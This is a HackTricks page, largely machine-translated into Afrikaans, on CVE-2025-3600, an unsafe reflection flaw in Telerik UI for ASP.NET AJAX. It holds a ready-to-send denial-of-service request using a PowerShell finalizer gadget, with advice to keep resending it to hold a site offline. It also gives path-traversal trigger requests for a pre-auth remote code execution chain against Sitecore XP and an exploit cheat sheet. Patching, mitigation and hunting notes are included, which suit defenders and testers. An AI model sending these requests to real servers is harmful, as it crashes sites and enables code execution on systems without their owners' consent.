Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
- Primitief: Aanvaller beheer 'n tipe naam (prtype). Die handler los dit op met Type.GetType() en roep Activator.CreateInstance() aan voordat dit die interface se tipe-veiligheid verifieer. Enige openbare konstruktor van 'n .NET tipe sonder parameters sal uitgevoer word.
- Impak:
- Universele pre‑auth DoS met 'n .NET framework gadget (PowerShell WSMan finalizer).
- Dikwels verhoog dit na pre‑auth RCE in werklike implementasies deur app‑spesifieke gadgets te misbruik, veral onveilige AppDomain.AssemblyResolve handlers.
- Oplossing: Werk op na Telerik UI for ASP.NET AJAX 2025.1.416+ of verwyder/versluit die handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
- Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.
Affected surface and quick discovery
- Check exposure:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
- Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Aantekeninge
- Sommige PoCs gebruik dtype; die implementering kontroleer dkey=="1" vir die aflaaivloei.
- prtype moet assembly-qualified wees of oplosbaar wees in die huidige AppDomain.
Hoof oorsaak – onveilige refleksie in ImageEditorCacheHandler
Die Image Editor cache aflaaivloei skep 'n instansie van 'n tipe wat in prtype verskaf word en pas dit eers later na ICacheImageProvider en valideer die aflaaisleutel. Die konstruktor het reeds uitgevoer toe die validering misluk.
Relevante gedecompileerde vloei
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"]; // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}
private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}
public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}
protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}
Exploit primitive: Beheerde type string → Type.GetType los dit op → Activator.CreateInstance voer sy publieke parameterlose konstruktor uit. Selfs as die versoek daarna verwerp word, het gadget side‑effects reeds plaasgevind.
Universele DoS gadget (geen app-spesifieke gadgets benodig nie)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) het 'n finalizer wat 'n ongeïnisialiseerde handle disposeer, wat 'n onbehandelde uitsondering veroorsaak wanneer GC dit finaliseer. Dit laat die IIS worker process betroubaar crash kort nadat dit geïnstansieer is.
Een‑malige DoS versoek:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- Bly periodiek stuur om die webwerf aflyn te hou. Jy mag sien dat die constructor in 'n debugger getref word; die crash gebeur tydens finalisering.
From DoS to RCE – escalation patterns
Onveilige constructor-uitvoering ontgrendel baie teiken‑spesifieke gadgets en kettings. Soek na:
- Parameterless constructors that process attacker input
- Sommige ctors (of static initializers) lees onmiddellik Request query/body/cookies/headers en (de)serializeer hulle.
- Voorbeeld (Sitecore): 'n ctor‑ketting bereik GetLayoutDefinition() wat die HTTP body "layout" lees en JSON deserialiseer via JSON.NET.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
- Constructors performing app-specific ops
- Terugstel van toestand, omskakeling van modules, of beëindiging van prosesse.
- Constructors/static ctors that register AppDomain event handlers
- Baie apps voeg AppDomain.CurrentDomain.AssemblyResolve handlers by wat DLL‑paaie bou uit args.Name sonder sanitisering. Indien jy type resolution kan beïnvloed kan jy arbitraire DLL‑laai vanaf aanvaller‑gekontroleerde paaie afdwing.
- Forcing AssemblyResolve via Type.GetType
- Versoek 'n nie‑bestaande tipe om CLR resolution af te dwing en geregistreerde (moontlik onseker) resolvers aan te roep. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizers met destruktiewe newe‑effekte
- Some types delete fixed-path files in finalizers. Combined with link-following or predictable paths this can enable local privilege escalation in certain environments.
Voorbeeld pre‑auth RCE‑ketting (Sitecore XP)
- Stap 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
- Stap 2 – Post‑auth: Verkry write-toegang in 'n resolver-probed directory (e.g., via an auth bypass or weak upload) en plant 'n malicious DLL.
- Stap 3 – Pre‑auth: Gebruik CVE‑2025‑3600 met 'n nie‑bestaande type en 'n traversal‑laden assembly name om die resolver te dwing om jou geplante DLL te laai → code execution as the IIS worker.
Trigger voorbeelde
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validasie, hunting en DFIR-opmerkings
- Veilige laboratorium-validasie: Vuur die DoS-payload af en kyk vir app pool-herlaai/onbehandelde uitsondering wat gekoppeld is aan die WSMan finalizer.
- Hunt in telemetry:
- Versoeke na /Telerik.Web.UI.WebResource.axd met type=iec en vreemde prtype-waardes.
- Mislukte type-laaiings en AppDomain.AssemblyResolve-gebeurtenisse.
- Skielike w3wp.exe-neerstortings/herlaaiings na sulke versoeke.
Versagting
- Installeer die patch vir Telerik UI for ASP.NET AJAX 2025.1.416 of 'n latere weergawe.
- Verwyder of beperk blootstelling van Telerik.Web.UI.WebResource.axd waar moontlik (WAF/rewrites).
- Ignoreer of verhard prtype-hantering aan die bedienerkant (die opgradering voer behoorlike kontroles uit voordat instansiering plaasvind).
- Oudit en verhard aangepaste AppDomain.AssemblyResolve-handlers. Vermy om paaie uit args.Name te bou sonder sanitisering; verkies strong-named loads of whitelists.
- Beperk oplaai- en skryfligginge en verhoed dat DLL's in geprobeerde directories geplaas word.
- Moniteer vir pogings om nie-bestaande tipes te laai om resolver-misbruik vas te vang.
Cheat‑sheet
- Aanwesigheidskontrole:
- GET /Telerik.Web.UI.WebResource.axd
- Kyk vir handler mapping in web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universeel DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Trigger-oploser:
This.Class.Does.Not.Exist, watchTowr
Verwante tegnieke
- IIS post-exploitation, .NET key extraction, en in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization en machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Verwysings
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks